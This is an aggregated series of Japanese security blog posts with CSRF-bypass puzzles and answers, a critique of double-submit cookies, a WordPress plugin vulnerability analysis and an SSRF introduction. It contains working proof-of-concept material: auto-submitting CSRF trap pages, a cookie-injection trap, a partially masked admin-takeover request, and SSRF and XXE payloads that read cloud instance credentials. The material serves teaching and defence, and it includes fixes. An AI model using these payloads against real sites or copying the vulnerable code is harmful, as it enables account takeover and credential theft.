Quantcast
Channel: 徳丸浩の日記
Viewing all 194 articles
Browse latest View live

問題:間違ったCSRF対策~中級編~

$
0
0
この記事は「問題:間違ったCSRF対策~初級編~」の続編です。前回同様、この記事では問題のみを出し、想定解答は後日公開することにします。ネタバレとなるブックマークコメントやツイートなどは控えていただけると幸いです(「思いのほか簡単だった」など感想は可)。ブログ記事等に解説記事を書くことは歓迎いたします。
この問題が果たして「中級」なのかについては異論があると思います。きわめて易しいと思う人もいれば、きわめて難しいと思う人も多いと思います。中をとって中級としましたが、現実には難し目かと思います。

問題

今回の問題は、前回(初級編)のトークンチェック部分(chgmail.php内)のみを変更したものです。まずは変更箇所を説明します。

前回のおさらい
if ($_POST['token'] !== $_SESSION['token']) { // ワンタイムトークン確認
die('正規の画面からご使用ください');
}
今回のチェックプログラムは下記。トークンが空でないかempty()により確認していますが、トークンのチェックにstrcmpを使っているところが、なにやら匂いますねw
if (empty($_SESSION['token']) || empty($_POST['token'])
|| strcmp($_POST['token'], $_SESSION['token'])) { // ワンタイムトークン確認
die('正規の画面からご使用ください');
}
以下は、上記を含めたメールアドレス変更プログラム(chgmail.php)の全体です。その他のスクリプト(mypage.php、chgmailform.php)は前回と同じなので、初級編を参照ください。
<?php // chgmail.php メールアドレス変更実行
session_start();
if (empty($_SESSION['id'])) {
die('ログインしてください');
}
$id = $_SESSION['id']; // ユーザIDの取り出し
if (empty($_SESSION['token']) || empty($_POST['token'])
|| strcmp($_POST['token'], $_SESSION['token'])) { // ワンタイムトークン確認
die('正規の画面からご使用ください');
}
unset($_SESSION['token']); // 使用済みトークンの削除
$mail = $_POST['mail'];
$_SESSION['mail'] = $mail;
?>
<body>
<?php echo htmlspecialchars($id, ENT_COMPAT, 'UTF-8'); ?>さんのメールアドレスを<?php
echo htmlspecialchars($mail, ENT_COMPAT, 'UTF-8'); ?>に変更しました<br>
<a href="mypage.php">マイページ</a>
</body>

実行例は初級編と同じですので、初級編の記事を参照ください。

設問

利用者(被害者)がmypage.phpを閲覧した状態(ログイン中を想定)で、罠ページを閲覧させることにより、CSRF攻撃でメールアドレスを変更してください。この攻撃を実現する罠ページのPoC(概念実証コード)が解答になります。

解答は11月15日(木)に公開予定です。

解答:間違ったCSRF対策~中級編~

$
0
0
この記事は、先日の記事「問題:間違ったCSRF対策~中級編~」に対する解答編です。まだ問題を見ていない方は、先に問題を読んで(できれば自分で解答を考えて)からこの記事をお読みいただくとよいと思います。
それでは、解答を説明します。

はじめに

出題時のわざとらしさから、この問題のポイントはstrcmp関数の挙動にあると気づいた方が多いと思います。

if (empty($_SESSION['token']) || empty($_POST['token'])
   || strcmp($_POST['token'], $_SESSION['token'])) {  // ワンタイムトークン確認
  die('正規の画面からご使用ください');
}
そして、strcmpの引数はどちらもempty()によるチェックが入っています。また、$_SESSION['token'] は、状態遷移図(下図)により、NULLかトークン文字列(乱数)のいずれかが入っている事がわかります。
これらから、CSRF対策を通り抜ける条件は以下となります。
  • empty($_POST['token']) が偽 かつ
  • strcmp($_POST['token'], 乱数文字列) が偽
一般に$_POST['token'] が返す値の型は以下のいずれかです。
  • null型    token=がない
  • 文字列   token=foo
  • 配列      token[]=foo → array('foo') が返る
そして、null型はempty()で真を返すこと、文字列型はトークンと一致させなければならず現実には困難であることから、残る可能性として配列を試してみましょう。
以下のサンプルスクリプトを試します。
<?php
var_dump(strcmp('xyz', array('a')));
結果は以下となります。
PHP Warning:  strcmp() expects parameter 2 to be string, array given in Standard input code on line 2
NULL
警告は出ますが、strcmp関数の戻り値は NULL、すなわち偽と判定される値となることがわかります。これは凄い罠ですね。この挙動はPHPのマニュアルには載っていませんが、User Contributed Notesには掲載されています(→マニュアル)。
では、PHPのどのバージョンからこの仕様なのだろうと思ってphpallで調べたところ、PHP 5.3.0から文字列と配列の比較でNULL(警告あり)を返すようになっており、PHP 5.2までは整数 32 を返していました。この仕様変更は ChangeLogにも掲載されていないのですね。

Burp Suiteで方法を確認する

それでは、PoC(概念実証コード)を書く前に、Burp Suiteで上記のアイデアを確認しましょう。まずmypage.phpからchgmailform.phpに遷移し、トークンをセッション変数にセットします。これは、empty()によるチェックを回避するために必要になります。


次に、メールアドレスを適当に入力しますが、メールアドレス変更ボタンを押す前に、Burp Suite上で Intercept is on の状態にします。


その後メールアドレス変更ボタンを押します。下図のようにHTTPリクエストが捕捉されます。


上図の囲みの箇所で、トークンを下図のように変更します。

   
あとは Intercept is onボタンを押して(Intercept is offと表示が変わる)流しましょう。以下のように、メールアドレス変更に成功しました。


PoC作成

それでは、上記と同じ操作を再現するPoCを作成しましょう。
まず、chgmailform.phpを閲覧する操作が必要ですが、iframe要素にchgmailform.phpを表示することにより実現することにします。その後時間を置いてchgmail.phpをPOSTします。PoC例を以下に示します。
<body onload="setTimeout('document.forms[0].submit()', 5000)">
<iframe src="http://example.jp/chgmailform.php" width="250" height="100"></iframe>
<form method="POST" action="http://example.jp/chgmail.php">
<input name="mail" value="evil@example.com">
<input name="token[]" size="10" value="1">
<input type="submit">
</form>
</body>
PoCの表示例です。


5秒経過すると、自動サブミットにより、以下の状態になります。


メールアドレスが変更されていることがわかります。

対策の考え方

この記事で紹介した攻撃が成立する原因は、文字列を想定しているトークンとして配列を指定できるところにあります。これを防ぐ目的で、生の$_POSTではなく、filter_input関数を使う方法があります。
$p_token = filter_input(INPUT_POST, 'token');
こう書くと、$_POST['token']が配列の場合、filter_inputはfalseを返すので、empty()で空と判定され、エラーに倒すことができます。

また、トークンの比較にstrcmpを使うこともよくありません。これは初級編で書いていたように === を用いる方が安全ですが、もっと良い方法として、PHP 5.6で導入された hash_equals関数を使うべきです。hash_equals関数はタイミング攻撃の緩和のために導入されましたが、より現実的なメリットとして、配列やnull値など文字列以外の値が指定された場合falseを返すので、意図しない入力に対して頑健です。実装例を以下に示します。
$p_token = filter_input(INPUT_POST, 'token');
$s_token = $_SESSION['token'] ?? null;
if (empty($s_token) || empty($p_token) || ! hash_equals($s_token, $p_token)) {
  die('正規の画面からご使用ください');
}
このケースでは、empty()によるチェックはなくてもよいのですが、保険的に残しています。なくても良い理由は、empty()がtrueを返す値で、かつhash_equalsがtrueになる可能性は、トークンが空文字列(長さ0の文字列)同士で一致する場合だけですが、$_SESSION['token']が空文字列になるシナリオはないからです。

実際のアプリケーション開発の際には上記のように手作りのCSRF防御システムではなく、フレームワーク等が提供する仕組みを利用することをおすすめします。本稿で用いたサンプルは、脆弱性の説明のためにイケてない実装を採用しているので、改良したとしても本番システムでは使わないでください。

参考文献

PHPのstrcmp関数が配列を受け取った際の挙動については、OWASPのPHP Security Cheat Sheetに解説があり、JPCERT/CCの日本語訳で読むことができます。この解説の中に、Drupageddon(CVE-2014-3704)と「これとまったく同じ問題(原文はExactly the same issue)」とありますが、どうですかね。Drupageddonの原因については拙記事「DrupalのSQLインジェクションCVE-2014-3704(Drupageddon)について調べてみた」を参照ください。Drupageddonと類似の問題としては「JSON SQL Injection、PHPならJSONなしでもできるよ」もあります。もっとも、PHP Security Cheat Sheetは先程見に行ったら「This page has been recommended for deletion.」と削除されていました。なかなか激しいです。
拙著「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」には、$_POSTではなくfilter_inputを用いる方がよいこと(P111)、トークンの比較にhash_equalsを用いるべきこと(P263)等が解説されています。
strcmpのPHP 5.3.0における仕様変更の状況については、海老原昂輔さんの「PHP 5.3 でネイティブ関数の引数型エラー時の返り値が変更になったけど大丈夫?」が参考になります。この記事の話は私も知っておらず、勉強になりました。(2018/11/15 12:00追記)

以上で、中級問題の解答編は終わりです。よろしければ「OWASP CSRFの防止策に関するチートシートにツッコミを入れる」にもチャレンジしてみてください。

問題:CSRFの防止策に関するチートシートにツッコミを入れる

$
0
0
この記事は「問題:間違ったCSRF対策~中級編~」の続編です。当初上級編を意図しておりましたが、後述する事情により、級の指定は外しました。

はじめに

問題は、OWASPから出ているCross-Site Request Forgery (CSRF) Prevention Cheat Sheet(JPCERT/CCによる邦訳「クロスサイトリクエストフォージェリ (CSRF) の防止策に関するチートシート」)にツッコミを入れてもらおうというものです。具体的には、このチートシート(カンニングペーパーの意)のDouble Submit Cookie(Cookie の二重送信)の箇所です。以下、JPCERT/CC訳で該当箇所を引用します。
Cookie の二重送信
Cookie の二重送信は、Cookie およびリクエストパラメーターの双方でランダムな値を送信し、サーバー側で Cookie の値とリクエストの値が等しいかどうか検証する手法です。
ユーザーがサイトにログイン するとき、サイトは暗号強度の高い疑似ランダム値を生成し、その値を Cookie としてユーザーのマシンに、セッション ID とは別に送ります 。どんな形であれ、サイトはこの値を保存しておく必要はありません。次にサイトは、機密に関わる送信にはすべてこのランダム値が非表示のフォーム値 (または他のリクエストパラメーター) および Cookie の値として含まれていることを確認します。同一生成元ポリシーにより、攻撃者はサーバーから送信されるどんなデータも読み取ることができません。また、Cookie の値を変更することもできません。攻撃者は、任意の値を悪意のある CSRF リクエストに添付して送信できますが、Cookie に保存されている値は、変更することも、読み取ることもできません。Cookie の値と、リクエストパラメーターまたはフォームの値は同じにする必要があるので、攻撃者はランダムの CSRF 値を推測できない限り、フォームを正常に送信できません。
Direct Web Remoting (DWR) の Java ライブラリバージョン 2.0 には、CSRF 対策として、透過的に Cookieの二重送信を行う機能が組み込まれています。
要は、ログイン時に乱数でトークンを生成しておいて、それをクッキーに保存しておく。入力フォームではクッキーの値をhiddenパラメータ等に入れて、POSTパラメータとクッキーとで同じトークン値を「二重に」送信し、受け取り側で両者が一致していることを確認するというものですね。上記にもあるように、サーバー側で状態を保持する必要がなく、RESTとの相性が良いということもあり、最近人気が出始めているようです。アプリケーションフレームワークでは、Django、CodeIgniter、FuelPHP等で採用されています。

上記の説明は技術的な間違いがあるので、それを指摘してもらおう。天下のOWASPのドキュメントにいちゃもんをつけるのだから、上級問題にふさわしい…そう思い、記事執筆の準備としてチートシートの原文(英語)を久しぶりに確認しました。

…あれ?
…大幅に改定されている
…Double Submit Cookieの位置づけも変わっている

ということで、なんと「解答」が本家のサイトに掲載されているというまぬけな状況になってしまいました。改定は今年の10月に行われたようです(改訂履歴)。

まぁ、チートシートでカンニングができるという、まことにチートシートにふさわしい状況になってしまったのですが、問題自身は面白いので、初期とか上級とか抜きにして出題したいと思います。

参考実装

読者の便宜のために参考実装を以下に示します。仕様は初級編等と同じですので、画面遷移例は初級編の記事を参照してください。
以下はテスト用に「ログインしたことにする」スクリプト(mypage.php)。ログイン時にCSRF対策用のトークンを生成してクッキーにセットします。ログイン状態で呼び出した場合は、単にログインユーザのメールアドレスを表示します。

<?php // mypage.php ログインしたことにする確認用のスクリプト
session_start();
if (empty($_SESSION['id'])) {
$_SESSION['id'] = 'alice'; // ユーザIDは alice 固定
$_SESSION['mail'] = 'alice@example.com'; // メールアドレス初期値
$token = bin2hex(random_bytes(24)); // CSRFトークンの生成
setcookie('token', $token); // CSRFトークンをクッキーに保存
}
?><body>
ログイン中(id:<?php echo
htmlspecialchars($_SESSION['id'], ENT_QUOTES, 'UTF-8'); ?>)<br>
メールアドレス:<?php echo
htmlspecialchars($_SESSION['mail'], ENT_QUOTES, 'UTF-8'); ?><br>
<a href="chgmailform.php">メールアドレス変更</a><br>
</body>
以下はメールアドレス変更フォーム(chgmailform.php)です。クッキーからトークンを取り出してhiddenパラメータにセットしています。
<?php // chgmailform.php メールアドレス変更フォーム
session_start();
if (empty($_SESSION['id'])) {
die('ログインしてください');
}
$token = filter_input(INPUT_COOKIE, 'token');
if (empty($token)) {
session_destroy();
die('トークンがないので再ログインしてください');
}
?><body>
<form action="chgmail.php" method="POST">
メールアドレス<input name="mail"><BR>
<input type=submit value="メールアドレス変更">
<input type="hidden" name="token" value="<?php echo htmlspecialchars($token, ENT_COMPAT, 'UTF-8'); ?>">
</form>
</body>
以下はメールアドレス変更プログラム(chgmail.php)。POSTパラメータとクッキーのトークンを確認の後、メールアドレスを変更(実際にはセッション変数のみ変更)します。
<?php // chgmail.php メールアドレス変更実行
session_start();
if (empty($_SESSION['id'])) {
die('ログインしてください');
}
$id = $_SESSION['id'];
$c_token = filter_input(INPUT_COOKIE, 'token');
$p_token = filter_input(INPUT_POST, 'token');
if (! hash_equals($c_token, $p_token)) {
die('正規の画面からご使用ください');
}
$mail = filter_input(INPUT_POST, 'mail');
$_SESSION['mail'] = $mail; // メールアドレスの変更
?>
<body>
<?php echo htmlspecialchars($id, ENT_COMPAT, 'UTF-8'); ?>さんのメールアドレスを<?php
echo htmlspecialchars($mail, ENT_COMPAT, 'UTF-8'); ?>に変更しました<br>
<a href="mypage.php">マイページ</a>
</body>
メールアドレス変更時のPOSTリクエスト例を以下に示します。
POST http://example.jp/chgmail.php HTTP/1.1
Host: example.jp
Content-Length: 79
Cache-Control: max-age=0
Origin: http://example.jp
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://example.jp/chgmailform.php
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=onvi06g301m1o2cb1i0lgm9neg; token=fe24151956678c544bef14258407e12032ada4216f36480b
Connection: close

mail=alice%40wasbook.org&token=fe24151956678c544bef14258407e12032ada4216f36480b
クッキーとPOSTパラメータで、同じトークンが二重に送信されていることがわかります。

設問

チートシート旧版の翻訳であるJPCERT/CC訳(前述の引用部分)を元に以下の設問に答えよ。
  • 引用部分の解説には技術的な間違いがある。それを指摘せよ
  • クッキーの二重送信でCSRF保護できないシナリオを複数指摘せよ。OWASP原文の改定で指摘されていないシナリオを指摘すると加点となる

解答は週明けに公開予定です。

解答:CSRFの防止策に関するチートシートにツッコミを入れる

$
0
0
この記事は、先日の記事「問題:CSRFの防止策に関するチートシートにツッコミを入れる」に対する解答編です。まだ問題を見ていない方は、先に問題を読んで(できれば自分で解答を考えて)からこの記事をお読みいただくとよいと思います。
それでは、解答を説明します。

設問: チートシート旧版の翻訳であるJPCERT/CC訳(以下の引用部分)を元に以下の設問に答えよ。

引用(再掲)
Cookie の二重送信
Cookie の二重送信は、Cookie およびリクエストパラメーターの双方でランダムな値を送信し、サーバー側で Cookie の値とリクエストの値が等しいかどうか検証する手法です。
ユーザーがサイトにログイン するとき、サイトは暗号強度の高い疑似ランダム値を生成し、その値を Cookie としてユーザーのマシンに、セッション ID とは別に送ります 。どんな形であれ、サイトはこの値を保存しておく必要はありません。次にサイトは、機密に関わる送信にはすべてこのランダム値が非表示のフォーム値 (または他のリクエストパラメーター) および Cookie の値として含まれていることを確認します。同一生成元ポリシーにより、攻撃者はサーバーから送信されるどんなデータも読み取ることができません。また、Cookie の値を変更することもできません。攻撃者は、任意の値を悪意のある CSRF リクエストに添付して送信できますが、Cookie に保存されている値は、変更することも、読み取ることもできません。Cookie の値と、リクエストパラメーターまたはフォームの値は同じにする必要があるので、攻撃者はランダムの CSRF 値を推測できない限り、フォームを正常に送信できません。
Direct Web Remoting (DWR) の Java ライブラリバージョン 2.0 には、CSRF 対策として、透過的に Cookieの二重送信を行う機能が組み込まれています。

設問(1)

引用部分の解説には技術的な間違いがある。それを指摘せよ

解答(1)

以下の箇所が間違いです。
同一生成元ポリシーにより、攻撃者はサーバーから送信されるどんなデータも読み取ることができません。また、Cookie の値を変更することもできません。
Cookieの保護は同一生成元ポリシーではなく、独自のルールによります。そもそも「同一生成元」とは、ホスト、ポート番号、スキームのすべてが一致している状態ですが、Cookieは、以下のルールに従います。
  • ホスト: domain属性の指定があるばあいはdomainに指定したドメインおよびそのサブドメイン。ない場合はSet-CookieしたホストにのみCookieが送信される
  • ポート: RFC 6265によると、Cookieは同一ホストの異なるポートをまたがって共有される
  • スキーム: HTTPとHTTPSで相互にCookieの読み取り、書き込みができるが、secure属性が指定されたCookieはHTTPSの場合のみ送信される
結果として、「攻撃者はサーバーから送信されるどんなデータも読み取ることができません」は正しい(そのような使い方ができる)ですが、「Cookie の値を変更することもできません」は間違いで、Cookieの変更ができるシナリオはあります。

設問(2)

クッキーの二重送信でCSRF保護できないシナリオを複数指摘せよ。OWASP原文の改定で指摘されていないシナリオを指摘すると加点となる

解答(2)

以下、攻撃対象サイトが www.example.com というホスト名である前提で説明します(シナリオ1を除く)。

シナリオ1: クッキーモンスターバグの影響があるサイト

以前にもブログ記事で説明したように、Windows8.1以前のIE11にはクッキーモンスターバグがあり、地域型JPドメイン名や都道府県型JPドメイン名などで、不正なdomain属性のCookieが作れてしまいます。例えば、東京都のドメイン名は metro.tokyo.jpですが、私が所有するドメイン名(tokumaru.bunkyo.tokyo.jpやkawaguchi.tokyo.jp)で、domain=tokyo.jpというCookieがSet-Cookieできるため、tokenのクッキーを汚染する攻撃ができます(Windows8.1以前のIE限定)。このシナリオは以前下記の記事で紹介しました。

IEのクッキーモンスターバグはWindows 10で解消されていた

クッキーモンスターバグの影響を受けるのは、日本のドメイン名ばかりではありません。Public Suffix Listに掲載されたドメイン名のうちIEが対応していないものはすべて該当することになります。馴染み深いドメイン名の例としては以下があります。
  • blogspot.com
  • herokuapp.com
  • cloudfront.net
herokuapp.comもあるので、一興でHeroku上に先のサンプルスクリプトを動かしています(サイトを見る)。これを攻撃するスクリプトは以下となります。

<?php
  session_start();
  $token = "hello-csrf-trap";
  setcookie("token", $token, 0, '/', 'herokuapp.com');
?><body>
<form action="https://csrf-vul.herokuapp.com/chgmail.php" method="post">
<input name="mail" value="evil@example.com">
<input name="token" value="<?php echo $token; ?>">
<input type=submit>
</form>
</body>
Heroku上に上記をホスティングしました。下図はWindows8.1上のIE11で閲覧した様子です。


先程のリンクでmypage.phpを閲覧した後、この罠(リンク)を閲覧します。「クエリ送信」ボタンをクリックすると下記のようにメールアドレスが変更されます。


Public Suffix Listに対応したブラウザ(Google Chrome、Safari、FirefoxやWindows10上のIE11とEdge)であれば、上記の攻撃は成立しません。

シナリオ2: サブドメイン型 レンタルサーバーの場合

Public Suffix Listに対応したブラウザであっても、サブドメイン型として提供されるレンタルサーバーであれば、上記と同じ攻撃が成立します。hoge.examle.comやfoo.example.com等のドメイン名が選択できるレンタルサーバーであれば、

hoge.example.com 上のサイトを攻撃するCookieを
foo.example.com上のサイトで生成できる(domain=example.com)

ことになります。
このケースはブラウザの種類を問わず、また他の脆弱性などに依存しないので、特に注意が必要でしょう。

シナリオ3: example.comのサブドメインのホストにXSS脆弱性がある場合

通常クロスサイトスクリプティング(XSS)脆弱性は同一生成元ポリシーの範囲のみで影響を受けるので、他のサブドメインまで影響が及ぶことはありませんが、クッキーの生成に関してはサブドメインも影響を受けるため、example.comのサブドメインにどれか一つでもXSS脆弱性があるサイトがあれば、www.example.comで有効なtokenのcookieを発行できます。
このシナリオは、改定後のCSRF Prevention Cheat Sheetでは、Double Submit Cookieの項の「a)   While it's true that hellokitty.marketing.example.com cannot read cookies…」以下の箇所に解説があります。

シナリオ4: HTTPヘッダインジェクションなどCookie設定可能な脆弱性がある

攻撃対象サイトにHTTPヘッダインジェクション等Cookie設定が可能な脆弱性がある場合、当該サイトで有効なtokenのCookieを発行できます。他の対策ではこの影響は受けないので、二重送信Cookie特有のリスクということになります。

シナリオ5: HTTPとHTTPS混在のサイトでHTTP側にXSS脆弱性がある

シナリオ3の変形です。XSSは同一生成元ポリシーの範囲のみで影響があるということは、HTTPとHTTPS混在のサイトの場合、HTTP側のXSS脆弱性はHTTPS側には影響がなく、逆に、HTTPS側のXSS脆弱性はHTTP側では影響がありません。しかし、HTTP側で生成したCookieはHTTPS側でも有効なため、二重送信Cookieに関してはHTTP側にXSS脆弱性があれば、HTTPS側機能にも影響があります。
この問題も、他のCSRF対策にはない、二重送信Cookie固有のリスクといえます。
なお、同一オリジン内にXSS脆弱性があれば、他のCSRF対策も回避されますが、同様の攻撃はXSS単体でも可能(同一オリジンからのXMLHttpRequest等で)なので、XSSでCSRF対策が回避されることは気にしても仕方ないと言えます(CSRFの有無によりリスクは増加しない)。


シナリオ6: 通信経路上でトークンCookieを上書きする

以下の記事で説明した問題です。通信経路上に攻撃者がいる場合でも、HTTPSを使えば通信内容の盗聴や改ざんを防止できますが、中間者攻撃によるCookieの改変はHTTPSを使っても防げないという問題です。

HTTPSを使ってもCookieの改変は防げないことを実験で試してみた

常時TLSが一般的になりましたので、この経路による攻撃は大半のサイトが該当すると考えられます。「中間者攻撃なんて気にしないといけないの?」という感想もあるかもしれませんが、HTTPSの主要な目的は中間者攻撃など通信経路上の攻撃を防ぐことなので、HTTPSを使う以上は気にするべきでしょう。
このシナリオは、改定後のCSRF Prevention Cheat Sheetでは、Double Submit Cookieの項の「b)   If an attacker is in the middle, …」以下の箇所に解説があります。

※サイトの真正性確認だけのためにHTTPSを使うという考え方もあるとは思いますが

まとめ

OWASPのCSRF Prevention Cheat Sheet(旧版)の二重送信クッキーの問題について説明しました。二重送信クッキーは、複数のアプリケーションフレームワークで採用されていますが、上記で紹介したように、いくつかの対策回避パターンがあります。このため、CSRFがクリティカルに影響するサイトや、サブドメイン型レンタルサーバー等では使わない方がよいでしょう。利用するアプリケーションフレームがCSRF対策として二重送信クッキーを採用している場合、上記の影響が許容可能かどうかリスク分析してから採用されることを推奨します。

WordPressのプラグインWP GDPR Complianceの脆弱性CVE-2018-19207について分析した

$
0
0
11月中旬から、レンタルサーバー事業者等から、WordPressのプラグインWP GDPR Complianceの脆弱性について注意喚起が目立つようになりました。
記事本文には以下のように書かれています。
本脆弱性の影響 
WordPressにおいて、権限を持たないユーザーが脆弱性を利用してウェブサイト全体の設定を変更したり、第三者が管理者権限のあるユーザーを追加してウェブサイトの改ざんなどの不正利用を行う危険性がございます。

https://www.sakura.ad.jp/information/announcements/2018/11/22/1968198825/より引用
以下はSecurity Nextからの引用です。
「同1.4.2」および以前のバージョンに権限昇格の脆弱性が存在し、11月6日にWordPress.orgのPlugin Directory Teamが開発者へ報告。同社では同月7日にアップデートとなる「同1.4.3」をリリースした。

脆弱性の悪用が始まった詳しい時期はわかっていないが、10月中旬ごろに同プラグインの利用環境下において、被害が発生したとの報告もあり、ゼロデイ攻撃が行われていた可能性が高い。またアップデート公開後には、積極的に攻撃が展開されているという。

http://www.security-next.com/100144より引用
当該脆弱性CVE-2018-19207の原因と影響、対策などについて以下にまとめました。

WP GDPR Complianceプラグインとは

WP GDPR Complianceプラグインは、WordPressにGDPR対応機能を追加するためのプラグインです。下図はWordPressサイトに、クッキーと外部スクリプトの使用について同意を得ている様子です。最近は日本のサイトでも、この種の画面を目にするようになりました。


脆弱性の詳細

この脆弱性はWP GDPR Complianceのバージョン1.4.2以前に存在します。PoC(概念実証コード)は海外のサイトでは公開されていますが、悪用防止および私が逮捕されると嫌なので一部伏せ字(XXの箇所)にて示します。

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.jp
Content-Length: XXX
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

action=wpgdprc_process_XXXXX&data={"type":"XXXXXXXXXXXX","append":XXXXX,
"option":"XXXXXXXXXXXXXXXXXX","value":"XXXXXX"}&security=XXXXXXXXX
ご覧のように、data=のパラメータはJSON形式となります。また、security=はnonce(ナンス)ですが、WP GDPR Complianceをインストールすると、以下のようにJavaScriptのコードが挿入されます。以下のJSON中のajaxSecurityがnonceですので、容易に取得できます。nonceの役割はCSRF対策などですので、HTMLソースに貼ってあること自体は問題ではありません。
<script type='text/javascript'>
/* <![CDATA[ */
var wpgdprcData = {"ajaxURL":"http:\/\/example.jp\/wp-admin\/admin-ajax.php",
"ajaxSecurity":"0083ef6e45"};
/* ]]> */
</script>
当該脆弱性により、WordPressの設定を外部からログインなしに変更できることが脆弱性の中身です。具体的には、JSON中のoptionで示した項目が、valueで示した値に変更されます。

原因

当該バージョンのプラグインとPoCが入手できれば、当該脆弱性の原因分析は比較的容易です。以前弊社で実施した勉強会で脆弱性解析の手法を説明した模様を@tigerszkさんが素晴らしいブログ記事にまとめてくださっていますので、おおまかな手順はそちらを参照ください。

デバッガを利用してWebアプリの脆弱性を分析してみた

プラグインの脆弱なバージョンと修正バージョンで差分をとり、「脆弱な箇所」にあたりをつけてブレークポイントを設定したうえで、デバッガ上でPoCを打ち込んで見るのが簡便かと思います。ソースコードの該当箇所を以下に引用します。


./wp-content/plugins/wp-gdpr-compliance/Includes/Ajax.php より引用

ブレークポイントを設定する場合は、14行目のcheck_ajax_referer()関数呼び出しの行に設定するとよいと思います。この行は先程のnonceのチェックをしています。
PoCを打ち込むと、70行目のupdate_option()関数まで到達します。この関数は、WordPressの設定を変更する関数(リファレンス)ですが、引数$optionと$valueは、外部から送られたJSONで自由に設定できます。
すなわち、当該脆弱性を用いると、認証なしで、WordPressの設定を自由に変更できることになります。
修正後のソースを見ると、update_option関数の呼び出しの前に、WordPressの権限確認用の関数current_user_can('manage_options') の呼び出しが追加されています。

※ 22行目のstripslashesや37行目のesc_htmlはおそらく不要というかないのが正しそうです。また、71行目にdo_action関数がupdate_option関数と同じ引数で呼ばれていますが、両関数の引数は意味・内容が違うので、おそらくバグかと思います。

影響

認証なしでWordPressの設定を外部から変更できます。
もっともクリティカル攻撃の例として、海外のサイトでは以下が紹介されています。
  1. WordPressの設定変更で「利用者が自らユーザー登録できる」ようにする
  2. WordPressの設定変更でユーザー登録時の初期権限を『管理者』にする
  3. 攻撃者がユーザー登録すると管理者権限が与えられたユーザが作られる
  4. 攻撃者はそのユーザーでログインするとWordPressの管理者になれる
その他、update_option関数やdo_action関数の引数を自由に設定できることから、さまざまな攻撃が考えられます。

対策

WP GDPR complicaneプラグインの1.4.3で改修されています。本稿執筆時点の最新版は1.4.5です。最新版の導入を推奨します。
当脆弱性の攻撃のうち、管理者ユーザーを勝手に作成される経路については、WordPressのログイン機能 wp-login.php のURLを変更し、隠すことで緩和策になります。

まとめ

WP GDPR complicaneプラグインの脆弱性CVE-2018-19207について説明しました。Security Nextが報道しているように、この脆弱性はゼロデイ攻撃が行われていたという推測もあります。ログインURLを隠す以外の有力な緩和策も見当たらないこと、脆弱性の入り方のレベルが極めて低いことから、「プラグインの導入をできるだけ避ける」ことをお勧めします。

SSRF(Server Side Request Forgery)徹底入門

$
0
0
SSRF(Server Side Request Forgery)という脆弱性ないし攻撃手法が最近注目されています。以下は、ここ3ヶ月にSSRFについて言及された記事です。
この「空前のSSRFブーム」に便乗して、SSRFという攻撃手法および脆弱性について説明します。

SSRF攻撃とは

SSRF攻撃とは、攻撃者から直接到達できないサーバーに対する攻撃手法の一種です。下図にSSRF攻撃の様子を示します。

攻撃者からは、公開サーバー(203.0.113.2)にはアクセスできますが、内部のサーバー(192.168.0.5)はファイアウォールで隔離されているため外部から直接アクセスできません。しかし、公開サーバーから内部のサーバーにはアクセスできる想定です。
攻撃者は *何らかの方法で* 公開サーバーから内部のサーバーにリクエストを送信することにより、内部のサーバーを攻撃できる場合があります。これがSSRF攻撃です。

SSRF攻撃の例1

SSRF攻撃に脆弱なサンプルを以下に示します。これは、はてなブックマークのようなソーシャルブックマークの機能のうち、URLを指定してプレビューを表示するというものです。PHPのcurl関数によりHTTPリクエストを送信し、XSS対策のためHTMLPurifierによりHTMLからscriptタグ等を取り除いています。

<?php
require_once('./htmlpurifier/library/HTMLPurifier.includes.php');
$purifier = new HTMLPurifier();

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$html = curl_exec($ch);
echo $purifier->purify($html);
下図はAWS EC2上に上記を設置して、徳丸のブログ記事を表示した例です、。


HTMLPurifierの設定を厳しく(安全に)しているのでCSS等が無効になっていますが、記事の内容は取り込めていますね。

次に攻撃例です。EC2のインスタンスからhttp://169.254.169.254/ にアクセスすると、そのインスタンスの設定情報が読み込めるという機能がEC2にあります(ドキュメント)。この機能を悪用して、EC2のクレデンシャルを読み込んでみましょう。
まずは、以下のURLにアクセスしてみます。

/ssrf.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

表示は下記となります。test-roleというロールがあることがわかります。

次に、先程のURLの末尾に test-role を追加した以下のURLでアクセスします。

/ssrf.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/test-role

上記(見やすいようにHTMLソースで表示)のように、外部からEC2インスタンスのクレデンシャルが読み出せました。

SSRF攻撃の例2

次に、XXE脆弱性(CWE-611)を用いてSSRF攻撃をやってみましょう。以下は拙著「体系的に学ぶ安全なWebアプリケーションの作り方」に掲載されているサンプルです。XXEについてはこの記事も参考になります。
<?php
$doc = new DOMDocument();
$doc->load($_FILES['user']['tmp_name']);
$name = $doc->getElementsByTagName('name')->item(0)->textContent;
$addr = $doc->getElementsByTagName('address')->item(0)->textContent;
?><body>
以下の内容で登録しました<br>
氏名: <?php echo htmlspecialchars($name); ?><br>
住所: <?php echo htmlspecialchars($addr); ?><br>
</body>
上記をEC2上のPHPで動かしてみます。Amazon Linuxで標準に用意されている環境では脆弱性が再現しないので、わざと libxml2-2.7.8という脆弱な libxml2 をインストールしました。
攻撃用のXMLは以下となります。3行目が外部実体の定義で、169.254.169.254へのリクエストを含んでいます。
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY credential SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/test-role">
]>
<user>
<name>徳丸浩</name>
<address>&credential;</address>
</user>
これを読み込ませた結果は下図となります。クレデンシャルが読み込まれていることがわかります(時間経過のため先の例とは中身が変わっています)。


SSRF脆弱性(CWE-918)とは

